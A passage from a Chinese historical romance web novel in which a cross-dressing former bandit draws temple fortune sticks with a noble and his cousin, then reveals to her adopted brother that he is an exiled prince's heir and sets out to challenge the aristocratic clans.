见谢珩开口了,王意然也笑意盈盈继续邀请:“是啊,反正祈福上香等会儿也可以去,不如我们先一起去解签,这样就不必打扰大师两次了。” 人家姑娘开口再三邀请,沈青便没法拒绝了。 王容自小就没办法抗拒这位表哥的话,谢珩开口,他想走也抬不动腿了。 “好吧,那走吧。” 他认命地应下,慢慢松开沈青的手腕。 这下谢珩没再说什么,只是沉默地转过身去,缓缓将手中雨伞收合起来。 几人上了台阶,进了内殿,中间有小僧相迎引路,谢珩和王意然并肩走在前面,沈青与王容始终跟在后面。 寺中清幽,一路走着无人出声,沈青目光便总是落到了前面一双璧人身上,无他,实在太引人注目了。 两人连背影都是极登对的。 本来她今日来首岁山,是想找个机会跟谢珩为上次在南风楼的失言道个歉,甚至过去的两三天里,她心中反反复复都是在酝酿,等见到他的时候,应该怎么说会比较合适。 原来其实没有必要,或许他当时是很生气的,不过现在有佳人在侧,肯定倍受安抚,她那一声道歉实在太微不足道了,不说人家现在稀不稀罕,反正她是说不出口了。 她撇了撇嘴,以后再也不能这样太把自己当回事了。 又绕过古木参天的后院,才终于到了一间偏安一隅的禅房。 小僧推门将人引进去,禅房其实很宽阔,不过沈青还是忍不住揉了揉方才一路走来略有些发酸的眼睛,讶异地打量着这间宽敞却空阔的禅房。 一桌,一椅,一榻,正北墙上一尊泥塑的菩萨,菩萨下坐着一个打坐的老和尚。 这简直跟前面气势恢弘的殿宇有云泥之别! 这个老和尚……啊,不是,不闻大师,僧衣灰旧,眉目苍老,跟路边随便一个剃了头发的老头子有什么区别? 不过这些年沈青三教九流也混得多,通常绝世高人,要么就是一眼就能看出这人非凡绝类,要么就是泯然众人,卧虎藏龙,所以她也很快接受眼前的落差。 “不闻大师,我们前来解签。” 谢珩双手合十,微微屈身,与大师问好,其他三人也跟着双手合十行礼。 大师回了一礼,指了指佛龛前的签笼:“诸位请便吧。” 谢珩似乎并不热衷于此,于是垂眸对王意然道:“意然表妹先吧。” 王意然虽然是闺门秀雅的典范,到底也还是少女心境,她小声谢了一声表哥,便上前站在佛龛前,对着那尊泥塑的菩萨双手合十好一会儿,才取了一只小签。 “姑娘要问什么?”不闻大师接过签字,开始为她解签。 王意然声音压得更低,微红了耳尖:“想问姻缘。” 不闻大师没再多言,只在掌心中摩挲了几下那枚签字,很快得出结论:“郎才女貌。” 得了这签面,王意然眉眼间娇羞掩盖不住,她忙收了签子,眼波流转间,悄悄看了一眼站在一旁清清正正的表哥:“珩表哥,你去解吧。” 谢珩面上没什么波澜,不过还是依言,上前取了一签。 两人往来互动落在沈青眼中,沈青下意识抿了抿唇,确实是很郎才女貌。 同样,不闻大师拿了谢珩递上的签子,先问一句:“公子想问什么?” 谢珩突然顿住,他想问什么? 他沉默的时间太久了,一旁的王意然小声喊他:“珩表哥?” 他回过神来,对上表妹如花似玉的容颜正对他甜笑:“不如表哥也问问姻缘吧?” 话刚说完,王意然刚刚恢复白皙的面色立刻又染上红霞,忙自顾自退开两步。 姻缘?他还能和谁有姻缘呢?谢珩忽然又陷入新的茫然中。 “佳偶天成。” 思忖间,闻灯大师已经替他解出。 “多谢大师。” 谢珩垂眸将签子攥进手心,光滑的签面在手中摩挲几许,他按捺住想用余光去看那道青影的冲动,终于还是捏紧竹签慢慢退开。 他这一生,还有机会……所谓佳偶天成吗? 或许母亲说得没错,他本就不是断袖,漫长余生,总该有合心意的女子,白头偕老,延绵子嗣。 于无人知处,沈青蓦然在心底叹了一声,的确是很佳偶天成,诶,这大师算得真准。 她喉头有些微哽,毕竟也是自己曾经属意的孩子父亲,以后总归是要成为别人孩子的父亲,总有种说不上来的空落。 不过想什么呢,本来她跟谢珩之间就不是同路人,自回了洛京,谢十三变成谢珩,他们之间就再无可能。 打消完自己这忽如其来的惆怅,身旁的王容已经迫不及待上前抽了一签,并极为主动告诉大师:“我也要问姻缘。” “子孙满堂。” 子孙满堂,那说明后宅不缺人,对此他很满意,他下意识满面笑意去看沈青,却看到她眉眼间的淡淡惆怅,于是推她:“该你了,你去问问。” 沈青被推到佛龛前,这才发现签笼里的签子与别处寺庙不同,是一枚一枚用竹子雕琢成的小竹块,小巧一枚,刚好可以握在手心。 她在里面摸了一只,拿出来意外发现,这签子正面反面光洁如斯,一个字也没有! 这大师解签不会是收了钱睁眼净挑了好话说吧? “我就不测姻缘了,”她将签子交给大师,感受到身边有目光落在她身上,她又补了一句:“毕竟我已有家室,跟夫人很恩爱。” 一边的王意然睁大了眼:“沈公子小小年纪,竟然有了家室?” 谢珩心中泛过一丝冷意,这时候知道自己成家了,他为了避嫌,都只叫意然表妹,他那声意然姐姐倒是恬不知耻。 果然还是浪荡成性,朽木难雕。 沈青眉眼弯弯冲王意然一笑,然后道:“大师,我想问仕途。” 大师毫不犹豫:“扶摇直上。” 沈青原本还有点儿黯淡的眼神 俶尔一亮:“真的?我还能扶摇直上?” “出家人不打诳语。” 王容在一旁不由得出声:“她都官至三品了,还扶摇上到哪里去?” 沈青眉开眼笑,心中一片壮志满踌无比澎湃:“你都说了是三品,那三品上面还有二品,还有一品呢。” 她小心翼翼将那枚竹签收在怀里,就算这大师是诳人的,反正她现在也开心。 她早就对这三品虚职不满了。 那日游湖边,谢珩可以一呼百应,他轻而易举的一句话,就出动大半个洛京的守卫衙役来替她寻人,而她却除了自己跳下去,毫无半点法子。 朝堂之上,满朝文武黑白颠倒,她甚至连把陈令知打一顿的本事都没有。 南风楼里,纨绔子弟也可以随意对她和岳瑛指手画脚,她还得忍气吞声。 哼,真当她虎落平阳被犬欺? 生杀大权,还是要自己掌握在手中。 第53章 第53章贵妾算是极为抬举 沈青原本还想请大师给岳瑛解一签,可惜大师说这签只有本人来才能解得出,只好作罢,出去的时候,又去正殿替她求了个平安符。 王意然由衷感慨:“没想到沈公子年纪轻轻,心倒是细,对夫人真是体贴入微。” 她说着这话,脑海中便想到了自己刚解过的签面上“郎才女貌”四个字,悄悄转头去看表哥,表哥正望着檐下的细雨出神,似乎是没有听见她刚才说的话,整个人清冷淡漠得让人无法近身。 她都有点儿莫名惆怅起来。 好在沈青和王容出来得很快,四人一起结伴下山,与先前去禅房不同,下山路上,变成沈青和王容走在前面,谢珩与王意然则跟在后面。 烟雨笼罩着整个首岁山,可是山间古木参天,枝叶交错,为小径上的行人撑起遮风避雨的天然绿屏。 细细风动,迎面吹来草木独属于春日里的草木蓬勃清香,时不时还夹杂着各种不知名簇簇野花的清馨。 万物春生。 几道年轻的身影行走在山川树木中,春色如许,都鲜活起来。 青衣飒然,蓝衣倜傥,白衣清贵,红裙翩跹。 沈青脚下一双黑靴走得飞快,在洛京的庭院楼阁里被约束得太久,低矮的首岁山都能让她不亦乐乎,好像一支翠竹,在人间待久了,必须要找个山林来恢复一下精魂。 也只有王容,能始终跟上她的步伐。 不知不觉间,这两道身影便慢慢跟后面两道身影拉开了距离。 “表……表哥。” 王意然突然停在原地不走了。 谢珩浑像是没有听到,脚下往前下了两个台阶,才意识到身边的人没有跟上,于是顿住脚步回头看她。 “怎么了?” 王意然总有一种感觉,表哥性子虽然淡漠了些,可是明明上山的时候还算是温和体贴的,可是从下山开始,整个人莫名像丢了魂一样,两人之间好像隔了一层无形的结界,一句话要跟他说两遍才听得见? 不对,好像更早,从去不闻大师那里解签开始? 难道他不喜欢郎才女貌、佳偶天成吗? 她微抿红唇:“我实在走不动了。” 谢珩愣了一下:“那……站这里休息一会?” 王意然面色微顿,欲言又止地抬眸看了一眼表哥,正斟酌着开口,只见本来远远已经走得看不清人影的两个人这会儿竟然又蹬蹬跑着折回来了。 “意然姐姐,你怎么了?” 沈青跑得微喘,一过来便看见王意然一张粉面朱颜微微虚白:“你肯定是走不动了吧?要不要我背你下去?” “啊……”王意然对上那双纯粹真诚的眸子,确定他真不是想趁机占便宜的登徒子,温和有礼而不失尴尬地笑了笑:“倒是也不必了。” 谢珩也冷声提醒:“沈公子有妇之夫,还请谨言慎行。” 沈青反应过来此举确实不妥,再对上谢珩那张眼高于顶的冷脸,她也懒得应他,一声不吭扭过头去。 还不许人碰他表妹?不碰就不碰。 王容真是看不下去了,戳了戳沈青的手臂提醒:“哪里敢麻烦沈公子你,让丫鬟小厮传轿辇过来就行。” 沈青恍然大悟,他们这种公子小姐出行,当然不可能真的就孤男寡女放在一起,一定有丫鬟随从跟在方便照顾的地方,只是为了不打扰到他们,她没有在视线范围内看到罢了。 谢珩闻言,抬手招人去传轿辇。 王意然也不好意思耽搁旁人,歉然道:“我在这等着传轿辇过来吧,郁兰,那你先与沈公子回去,下次有机会再碰面。” 本来也是在上山以后才碰到两位,而谢珩今日却是陪她出来的,所以王意然也只是对沈青和王容说了让他们先走的话。 于情于理,谢珩都要一路陪着直到将人安全送回王府。 反正几人下山也不同路,况且又有谢珩陪着,沈青便欣然告别:“意然姐姐,那我们就先走一步,下次再会了!” “告辞,沈公子。”王意然笑意清甜。 沈青没有做多余的停留,又沿着石径哼哧哼哧下山下得飞快,王容向王意然颔首示意后,意味不明地多看了一眼站在一边不动如山的谢珩,不过谢珩视线根本就没在他身上,他无言轻叹一声,赶紧去追沈青的步伐了。 沈青和王容很快就走得再也看不见人影,林荫小径上,原本幽静清雅的氛围,变得莫名聊赖起来。 王意然侧头看了一眼谢珩,表哥的视线正愣愣看着小径的尽头出神。 她试着开口打破此时太过于沉闷的安静:“表哥,我新谱了一支曲子,过几天可以请表哥替我指点一二吗?” “什么?”谢珩回过神来,恍然发觉原来自己还站在原处。 “……” 王意然一双黑白分明的眼睛眨了眨,没再说话。 这边沈青和王容已经下了山,马车就在山门口等着,沈青一骨碌爬上马车,找了个舒服的姿势靠了下来,无比满足地喟叹一声。 “真是好久没有出过门了,这么出门走一趟,竟然还是觉得坐马车舒服。” 以前在莽山,出门打劫的时候,一晚上不知要翻多少个山头,也浑不觉得累的,果然由俭入奢易,她此时无比理解王意然:“怪不得你姐姐下山要坐轿辇。” 这么娇美的一朵花儿,她也舍不得见人走那么远。 王容笑了笑:“我这个堂姐,我伯父祖母个个恨不得将她当小祖宗捧着,别说吃穿用度,每天浴足都得是牧场里早上最新鲜挤出来的牛乳,今日来首岁山走了这么些路,可见多给我这表哥面子了。” 他嘴上明明是调侃,语气中其实也有一丝自己察觉不到的宠溺。 王家的掌上明珠,被养得娇憨秀雅,却一点也不骄纵跋扈。 沈青感叹:“怪不得我总觉得她每根头发丝都是香的。” 王容轻哼:“她每次洗头,都不知用了多少名花异果炼出的香油,铺面里的胭脂水粉可都比不上她那头发的自然馨香。” 沈青恍然:“这么一看她跟谢珩真是天生一对,谢珩对吃穿用度这些东西最讲究了。” 她可记得,那时候去刺史府抢了好些东西,谢珩还一一给她介绍那些美酒茶点各种来历,简直眼花缭乱。 要是他们真结为夫妻,每天还真是意趣相投,不知又能创造出多少新奇东西来。 王容打量她微微下垂的眼睑,想到她今日原本的来意,虽然一切都在意料之外,不过也有必要跟她说道清楚:“天下世家的势力盘根错节,归根结底就是靠各家姻缘来缔结,尤其四大世家间,数代联姻,才能稳居世家首位。如果谢珩要成亲的话,他的夫人大概就是出自王家了。” 即便将来有一天谢珩发现了沈青的女儿身,想要与她相爱相守,最多也只能将她收进府中给一个贵妾的身份,算是极为抬举。 他知道沈青心性极高,虽然残忍,也还是得让她心中有个底,免得来日伤心猝不及防。 沈青沉默了一会,才莫名其妙看他:“你跟我说这个干嘛?” 王容撑开扇子赔笑:“你以前不是把他抢回去当过小妾吗?我怕他成亲,你想不开嘛。” 沈青“哼”地扭过头:“我那是好玩图个新鲜,我又不是断袖。” 王容默不作声地看了一眼她放在膝上的指尖微缩,没再多说什么。 首岁山在城郊,要回洛京便要经过一道城门,只不过马车在城门外,却停滞不前了。 无他,此时城门大关,城门外聚集了一大批百姓,看他们的衣 裳行囊整洁完备的模样,并不是逃难的难民。 “大人行行好吧,我们要是离开了洛京,老家早就没了田地,根本活不下去啊!” “是啊大人,先开开门让我们进去吧,要补多少银子我们都给!” 看样子,这些百姓应该是要被遣返回乡的,只是不愿意离京,所以堵在门口不愿离开。 城门处,除了平日的守卫,还添了一队禁卫军,防止这些被遣返的百姓作乱。 禁卫军铁甲银枪,尖锐的枪头明晃晃对准雨中手无寸铁的百姓们。 见有贵人马车停在城门,守卫中有一看起来领头模样的人跑过来见礼。 王容用折扇揭起一点车帘,打量了一下外面的情况:“发生什么事了?” 守卫歉然道:“没什么大事,就是一些不太守规矩的小商贩们,要被遣返回乡,他们不肯走赖在城门了,我这就去下令,给公子马车让道。” 他转过身,冲着城门的方向喊:“萧校尉,还愣着做什么,赶紧动手啊!” 透过车帘,沈青在那一排银甲军士中看到了一张熟悉的面容,他站在队伍最前头,俊朗分明的五官不知何时起褪掉了稚气,一身铠甲,英挺逼人。 只不过他现在一双眉头紧紧拧起,嘴唇也快抿成一条线,面对这守卫的呐喊,沈青看得出,这孩子不想听,正在犯倔呢。 这守卫又喊了几声,萧瑞只是眉头皱得更紧了,但手上并没有进一步的动作。 沈青微微叹了口气。 王容知道她与萧瑞的关系,便问她:“要不要我出面去周旋一下?” 沈青摇了摇头:“算了吧,这是他身处这个位置的职责,怎么好让你为难。” 又僵持了好一会儿,萧瑞身后又出来个身披银甲的人,不过看那银甲上的纹路,应该是比他高了好几个级别的职位。 果然,远远的虽然听不见他们在说什么,但也能看见萧瑞几乎被那人训得个狗血淋头。 终于,萧瑞重新握紧手上的银枪:“凡继续在此逗留刻意阻碍城门通行之人,无论老幼,禁卫北军将按律实施抓捕!” 他喊话这气势并不是很足,但手中到底长枪骇人,他往前走一步,身后的其他士兵们也挺着长枪上前一步。 那些门口聚集的原本就是安稳谋生的小老百姓而非暴民,面对这样的架势,只能被逼得各自环抱护着家眷步步后退。 城门口很快就被让出一条通道,王容的马车在守卫的护送下得以顺利通过。 马车与萧瑞带领的禁卫北军擦身而过,沈青勉强能看清萧瑞的表情,红着一双眼,极力压抑着自己的某种情绪。 “现在时间还早,再去南风楼喝一场吗?” 马车进城后又行驶了一会儿,王容才出声打破车厢里的沉默。 “今天就不去了,我还得扶摇直上呢。” 王容轻轻晃动手中折扇,马车在街边缓缓停下,一道青影从上面跃下来。 车轱辘又重新转动,直到马车渐渐消失在街头。 第54章 第54章而我,只会选择你 沈青在濛濛雨中站了一会儿,才折身转回,重新往城门方向慢慢走去,还不算太远,她找了个屋檐下没被雨水打湿的石阶坐下,听城门外的喧喧嚷嚷。 城门外好像还是出现了一些争端和冲撞,不过也很快被压制下来,其实也没有很快,毕竟她脚边有个小水洼,里头的水满了又溢,溢了又满,不知过了多少次,不远处的城门终于缓缓打开。 她伸长脖子看过去,先前滞留在城门外的那些百姓不见了踪影,城门很快又恢复了车来人往,仿佛什么也没发生过。 原本并不负责城门守卫的那队禁卫军撤了下来,萧瑞在队伍的最前方,没有年轻武官该有的威风凛凛,额前有几缕碎发凌乱,银甲下露出的雪白衣襟也有些褶皱,半垂着眼眸,拖着步伐,整个人有种说不出的颓丧。 “萧瑞!” 沈青出声喊他,萧瑞定住脚步,抬眼看见屋檐下的一抹青影,眼睛一酸,示意手下先走,自己大步走到屋檐下。 “大哥。”他开口低低喊了一声。 沈青站起身来,惊觉萧瑞不知什么时候起,竟然比她高出半个头来,不过眼前这挺拔少年,正垂头丧气的,一副犯了错乖乖等着挨罚模样。 她想起来,萧瑞才初出茅庐的时候,仗着自己学了一身功夫,又有莽山的威名在外,某次下山跟寻常人家的百姓起了冲突,险些伤了人,也是大雪封山的日子,她硬是让萧瑞每天在雪地里罚跪,跪足了一个月才算作罢。 从此他的剑刃再也没有对准过寻常百姓,除了今天。 沈青随意问他:“发生什么事了?” “刚才有一批被遣返回乡的百姓不愿意回去,守在门口,堵住了城门。” “既然是被遣返回乡,却拥堵在门口拒不受令,你身为禁军校尉,率众将他们遣散,维护京中秩序,正是你的责任,怎么愁眉苦脸的?” 萧瑞心直口快,也不避讳什么:“我原先只觉得渝州地方混乱不堪,民不聊生,没想到洛京富贵繁华,比渝州还吃人不吐骨头呢。今天被遣返的那些小商户,因为没有依附京中世家,那些豺狼从他们手里捞不到好处,就随便弄了些莫须有的罪名给人遣返了回去。这不就跟当时的左思禄是一样的遭遇?” 世家勾连,一手遮天,沈青想起今日在首岁山的谢珩和王意然,洛京中各个世家世代联姻,姻亲血缘早就织成一张紧密的网,庙堂之高,江湖之远,都被这张紧密的网牢牢笼罩。 “你有什么打算吗?” 萧瑞想都没想:“我当土匪的时候,都不敢伤百姓一根毫发,现在做了官军,反倒要对百姓动刀动枪。我的打算就是,我想回莽山去。” 沈青假装若无其事看了看四周:“……你也真是不怕被人听见,你一个人回去有什么用?” “那大哥你跟我一起回去吗?” 沈青:“……” 萧瑞继续不依不饶,并发出灵魂拷问:“大哥,难道你招安来洛京,每天想过的就是这种生活吗?” 沈青下意识:“其实仅对我来说的话……也还好诶?” 萧瑞接下来脱口而出的话更加灵魂拷问:“每天秦楼楚馆寻花问柳就很好吗?” 沈青愣了一下,真心反问:“这不好吗?” 这小子怎么还反过来管起她来了? 萧瑞自觉方才语气太重,似是找补,声音低了很多:“主要嫂子不还卧病在床吗?你天天在外面花天酒地会不会让她不好安心养病?” 沈青摆摆手:“放心,她不介意的。” 见过萧瑞,沈青心里再次踏实下来,心中始终犹豫不定的那杆秤,终于彻底尘埃落定。 她不再耽搁,抬脚便走:“行了,这几天你暂且再忍一忍,过几天我再来找你。” 她头也没回,脚下一路生风,回了沈府,很快刚刚下值的左思禄和沈哲也赶到。 这次她直接将人请进议事的内厅。 这两人是匪身随沈青招安进京的,平时为了避嫌,沈青尽量避免与二人有私下接触,这次把两人喊过来,她也开门见山:“户部和礼部你们都摸透了没?” 当初将这两人捞到京中做官,她可不是发善心做善事的,这两人能力过人,是她初到茫茫洛京,用来投石问路的石子。 没有任何寒暄和铺垫,左思禄和沈哲对视一眼,从对方眼神中都读懂了接下来可能要发生了事。 左思禄先出来回应:“户部大小官员,人事应用,账务走向基本摸清,我可以整理成册,让你们一目了然。如今户部内部势力,还有户部之外所有往来,九成出自洛京中世家门阀,还有一成,几乎是接触不到真正事务的人,像我这种已经属于特例。” 沈青很满意:“一个小小的户部主事,可以摸清这么多事情,我真是没看错人。” 沈哲出身更加无所顾忌,说话也更加耿直,大概把礼部的情况归纳过后,直言道:“如今的户部,不如说是世家的户部;如今的礼部,也不如说是世家的礼部。” 其实如果户部和礼部是眼下这般情况,那基本就可以朝堂之中,三省六部几乎都是这般境况。 沈青回想起当初在渝州,地方官员还不至于都出身高门,可是后来谢珩前来剿匪,不也对渝州上下官员进行了一番洗刷,最后渝州要员不都变成谢氏子弟和门人了吗? 不仅谢家,其他各个世家,侵蚀完朝廷,已经延伸向各个地方侵蚀了。 她看向自己面前的两个人,目光澄澈而凌厉:“我要开始办一件事情,你们必须全力配合我,保证绝无二心。” 两人皆道:“老大,我们的命都是你给的,愿做犬马,绝无二心。” 沈青深吸口气,目光移向窗外,正好可以看见院中那颗苦柚树,浸润着连日的春雨,比刚回洛京时又枝繁叶茂了不少。 饱沾雨水的枝叶迎风舒展,映得人眸中也是一片新绿。 “我要拆了他们的门槛,破了他们的屏障,让户部、礼部,所有衙署和殿堂,为天下寒士布衣,广开大门。” * 几日后,沈青和萧瑞的身影出现在洛京城外一处僻静的村落,村中人家不多,晦暗天气下,村庄与背后一座孤山相互依靠,莫名冒着一点荒凉的诡气。 主要是因为这村中百姓多靠殡葬之业来谋生,打棺材的人家里头沉默地卧着几八副黑黢黢的棺材,做彩纸人家门口各色斑斓的彩灯纸影迎风招展,村民有的在屋里堂前,有的在屋外廊下,各自劳作,明明都是普普通通的大活人,但是被他们亲手做出来的东西衬得莫名瘆人。 萧瑞心里有种说不出的怪异:“大哥,好端端的,我们来这里做什么?” 沈青意味深长看了他一眼:“等会你就知道了。” 萧瑞总觉得,对于接下来要面对的事物,大哥此时内心也有一根弦紧绷着。 他没再多问,跟着沈青一路穿过村庄,直到这个村落的尽头,背靠孤山,与前面的人家隔了些距离,紧紧连了几间黑瓦白墙的小矮屋。 这里是暂时安放尸体的义庄。 萧瑞心中略一咯噔,沈青已经抬脚走了进去,他也只好硬着头皮跟上。 原以为进门后视线会暗下来,没想到里面灯火明明,格外亮堂,里面棺材草席各自摆放,有一个收尸人正专心埋头替一副尸身整理仪容,萧瑞没有盯着死人看的癖好,视线无处安放,只好垂眸盯着自己脚上黑靴。 “我来找人。” 他听见沈青说话。 “找什么人?”收尸人问她。 “找活人,也找死人。” 对方沉默了一会:“请随我来。” 这算什么暗号?这么随意吗? 正思忖着,他和沈青就被那人领着走进里间,墙边一扇很不起眼的门板被推开,借着房中明灯,可以看见一面是一道小小楼梯,楼梯延伸向下,看不清尽头,只知道下面应该是一间地下密室。 义庄里的地下密室,虽然萧瑞向来不畏鬼神,但这种构造多少也还是有点骇人了。 那人并没有亲自领着他们下去,而是递了盏油灯交到沈青手中:“你们自己下去吧。” “好。” 沈青手上拎着油灯,一步一步下了台阶,看着她清瘦笔挺的肩背,萧瑞还是克服心中瘆然,也紧跟在她后面,小心翼翼一步一个台阶。 楼梯并不长,很快两人就到了义庄下面的地室,这地室也修得狭小逼仄,四四方方什么也没有,借着昏灯,萧瑞看清了北面有一张简单的供桌,供桌上供了一张牌位。 他不由得凑过去看,可是那张牌位上空无一字。 此时他心里的毛骨悚然到达极致:“大哥,你不会是准备把我卖了吧?” 沈青将油灯举到自己脸边,一脸认真:“正是如此,你发现得太迟了。” 油灯憧憧贴着面容,那张清俊的容颜都显出几分诡异来,萧瑞盯着油灯里的灯芯明明暗暗,像极了黄泉路上的引路灯。 “大……大哥……” 沈青噗嗤一声笑出来,不再逗他,将油灯挂到墙上,昏暗的地室内勉强能视物。 她走到那张无字牌位前,神色尤为郑重,屈膝跪了下来:“萧瑞,过来跪下吧。” 萧瑞不明所以,也依言在牌位前跪下,此时的他像是在一片茫茫水底,分不清方向,也走不动路,全凭沈青用一己之力拉着他茫然往前。 须臾,他才问:“大哥,这牌位供奉的是何人?” 沈青叹了一口气,压抑住声音中的颤抖:“正麟宫变中,所有无辜丧命的人。” 她缓缓闭上眼,这其中,包括她和萧瑞的家人至亲。 萧瑞怔住,正麟宫变? 听起来很遥远,又很陌生,好像很久很久前,他听义父说起过,当初先帝猝然驾崩,未立遗诏,皇长子成王殿下带兵杀入宫中谋夺皇位,被还是当时还是礼王殿下的孝武帝率众臣反抗,两军拼杀,成王败。 乾元殿前血染三尺,皇城之外,成王及拥护成王起势的朝臣,家家户户被屠戮灭门,洛京城里,亦是血流成河。 后来孝武帝登基,彻查成王起兵夺位一事,列举成王数罪,再次株连朝臣无数,朝廷内外,成王势力被彻底清除。 不过是皇室之间的一场夺位旧案,跟他有什么关系呢? 萧瑞不安地看向沈青,仿佛有一块石头紧紧压在他胸口,他现在迫切地需要沈青替他将那窒息的大石头挪开。 沈青抿了抿唇,好一会儿,才道:“会有人来跟你说清楚这一切的。” 话音刚落,地室上又听见有门板响动的声音,很快就看到一位锦衣男子缓缓走下台阶,即便是这简陋地室中的一盏昏灯,也能照应出来人的气质斐然,丰神俊朗。 待看清来人面貌,萧瑞想起自己在宫中护驾的时候见过此人,他小声确认:“晋王殿下?” 晋王目光深沉先上下打量了他一番,然后看向沈青:“你终于肯来找本王了。” 沈青不动声色望着眼前眉眼与萧瑞有几分相似的男子,作为孝武帝同父异母的弟弟,明明年纪与孝武帝差不多,但看起来实在丰神俊朗许多。 同样一副眉眼,长在他们叔侄三人脸上,却是三种不同风姿。 “晋王殿下,”她屈身行了一礼:“我带萧瑞过来,只是代表我的决定,他的决定,由他来做。” 晋王颔首:“我会跟他说清楚。” 两人打哑谜一般的对话让萧瑞本能惶恐,在这逼仄的地室里,他很想找个地方逃出去。 沈青回头搭上他的肩膀,轻声安抚他:“你不要害怕,这是你的亲叔叔,不会伤害你的。至于后面……不管你做什么决定,我永远会站在你这一边。” “大哥……”他喉头哽住。 他所知道的晋王殿下,诗酒风流,是个从不过问朝政的富贵闲人,也是一个与他从不会有任何交集的陌生人。 怎么遥远的洛京城,他从来都没来过的洛京城,一个堂堂亲王,是他的亲叔叔? 那当今的孝武帝呢? 他不敢去想下去。 晋王殿下温和向他招手:“你现在叫萧瑞是吗?过来吧。” 他盲目走上前去。 沈青把逼仄的地室留给叔侄二人,自己则出了义庄,呼吸到外面的新鲜空气,不由得狠狠多吸几口。 她回望身后的义庄,那一排低矮的小房子,下面是多少不可见天日的冤魂容身之处。 当年的成王殿下,不仅是皇长子,也是先帝的三个儿子中,最德才兼备的一位。 世家权重,一手遮天,而成王殿下看透其中弊端,于是选贤举能,广开言路,不知提拔任用了多少寒门人士,就连娶妻,都是娶的普通士族之女。 他有意打破世家门阀把持朝政之风,可惜一着不慎,被世家重臣联合绞杀,捧了平庸无能的孝武帝上位,从此成王殿下隐隐打破的世家门阀更加坚不可摧。 至于今日局面,上品无寒门,下品无势族。 寒门布衣永无出头之日。 萧瑞本不叫萧瑞,他是成王殿下唯一的血脉萧宝簪,是父亲在宫变失败后杀进成王府抢回来的一条命,后来父亲给他取名“瑞”字,意寓国泰民安。 而她的父亲,也不是山匪沈峰,而是殿前指挥使沈毅,当然,现在洛京人提起来,都叫他反贼沈毅。 至于她,自然本来也不是天生的悍匪沈青,十一年前,她是沈府无忧无虑的三小姐沈若清。 沈府被屠那日,她从沈府后墙的狗洞钻 了出去,后来被偷偷折回的沈毅找到,从此远离洛京,在莽山落草为寇,为了掩人耳目,她从女儿变成了儿子,从闺中小姐沈若清变成了令人闻风丧胆的悍匪沈青。 而她的母亲和两位哥哥,就永远留在那晚刀光血影的惨叫里…… 冷风吹得她一阵凛冽,迫使她从回忆中逃离出来。 等了很久很久,也没见萧瑞出来,她终于觉得还是有些不对劲,又重新折返回地室。 地室里,晋王已经不见了身影,只剩萧瑞一人跪在牌位前,颀长而挺拔的背影,看上去格外孤独又茫然。 沈青在他身边盘腿坐了下来。 “大哥,其实你一直就知道我的身份?”萧瑞盯着牌位,声音里竟然有几分委屈。 谁当初跟他说,他是在莽山山脚被捡到的一个弃婴啊? 沈青撇撇嘴:“那倒也不是一开始就知道,我只是奇怪这小孩是谁。不过后来我爹天天对我耳提面命,让我豁出命来也要保护你,那我就算是个猪脑子,也察觉出不对劲了吧。” “再后来,我又长大了一些,对小时候经历的事情有了更深刻的了解,然后再私下一查,就查出你的身份了。” 果然,萧瑞声音里的委屈更甚:“那你为什么不早告诉我?” 沈青沉默了一会儿,才道:“当年宫变,归根结底其实是世家与寒门之争,我父亲也不知道自己所选择的是否正确。他嘱咐我,如果世家当政,国泰民安,百姓安居乐业,你的身世,和地下的无字牌位,就永不必有见天日的那日。” 她顿了顿,无比认真道:“可是这些年来天下百姓如何,你也都看到了,所以我选择把这个秘密揭开。” 让你,和我们地下的那些家人至亲,重新面世。 萧瑞一时间还是不能接受自己身份的转变,以及无形中未来要面对的压力:“那为什么是我?晋王殿下自己不也是皇室子弟吗?他不也有儿子吗?” 沈青微叹了口气,这突如其来的小孩气性。 “因为你要亲自替成王殿下翻案,为正麟宫变中的无辜人命鸣冤,也因为晋王殿下继承了你父亲遗志,不愿见皇室大权旁落世家,不愿见天下苍生民不聊生。” 当然,还有最重要的:“因为晋王殿下手中无兵,只能与我合作,而我,只会选择你。” 第55章 第55章举案齐眉,琴瑟和鸣…… 从义庄回来,沈青知道萧瑞还需要一定的时间来接受这一切,所以没有过多去逼迫他,任他自己先回营中自己消化。 不过以她对这个弟弟的了解,她也知道,从他知道自己身份的那一刻起,其实他就已经做出决定了。 她一直以来都很被动,从洛京家门被灭辗转到了莽山,再到谢珩来莽山剿匪,她又回到洛京。 即便回了洛京,她一开始也没有决定要去找晋王,斗鸡走狗无所事事的日子,她也过得还不错。 后来因为岳瑛,因为谢珩,还有洛京中各种所见,看似她终于主动做出一个决定,但其实她还是被一步一步推到这里来的。 大概一切真的都是天意吧。 当初对着左思禄和沈哲说出自己的鸿鹄壮志时,整个人那叫一个飘飘然,感觉自己马上就可以大展宏图,在义庄跟晋王碰过头后,她难免又有点泄气起来。 晋王这人,表面上闲云野鹤不问朝政,倒是避开了世家们的关注,暗中苦心孤诣,在朝堂之上应该暗藏了些不容小觑的势力。 可惜他可以操控权术,但无法沾染兵权,终究是孤掌难鸣。 沈青自己呢,那不用说了,她在朝堂之上毫无半点势力积累。虽然她有萧瑞,可是在成王殿下被翻案之前,萧瑞的存在就是罪臣余孽,而不是继位正统。所以她手上最大的筹码,就是留在渝州的那两万人马,以及一呼百应的号召力。 要凿开这铁桶一般的世家笼罩,真是让人无从下手。 这其中筹谋,也许三五年,也许十年八年,也许还要更久。 既然不是一朝一夕之功,就先去南风楼找王容喝一场酒吧。 在沈青偶尔忍不住去借酒浇愁的日子里,谢珩清隽面容上的苍白病态也一点点褪去,往日俊逸无双的神采终于被慢慢养了回来。 看样子,他是浑然接受了先前所有打击。 今日虽未去衙署中点卯上值,不过他依然在卯时出现在自己的书房中,桌上公文案牍堆积如小山。 “公子,奴家替您研墨。” 闲月声音轻柔婉媚,亭亭立在桌边,微微挽起袖口开始研墨,自从进了书房伺候,这几天都是她替公子在研磨。 谢珩还没有提笔,正等着闲月将墨汁研磨好,空气里慢慢氤氲出淡淡墨香。 闲月研墨的时候,手腕随着挽起的袖口若隐若现,落在谢珩的视线中,可以看到那只皓白纤细的腕子上还带了一只翠绿玉镯,虽然成色一般,却也能衬得那玉腕如霜似雪。 这便是红袖添香的意趣吗? 谢珩脑海里总是浮现起在小金顶,是他挽了袖口站在沈青身边研墨,沈青提笔落字,仰头一脸天真无赖的笑意,问他“鸳鸯”两字怎么写。 他甚至还记得,明明当时心中无比厌恶,还是强行按捺住心中的排斥,抓着他手腕真在纸上写了“鸳鸯”二字。 真是奇怪,当时情境,他以为那样的举动会是自己一生之耻,现在回想,每一个细节都在他脑海中呈现得无比清晰。 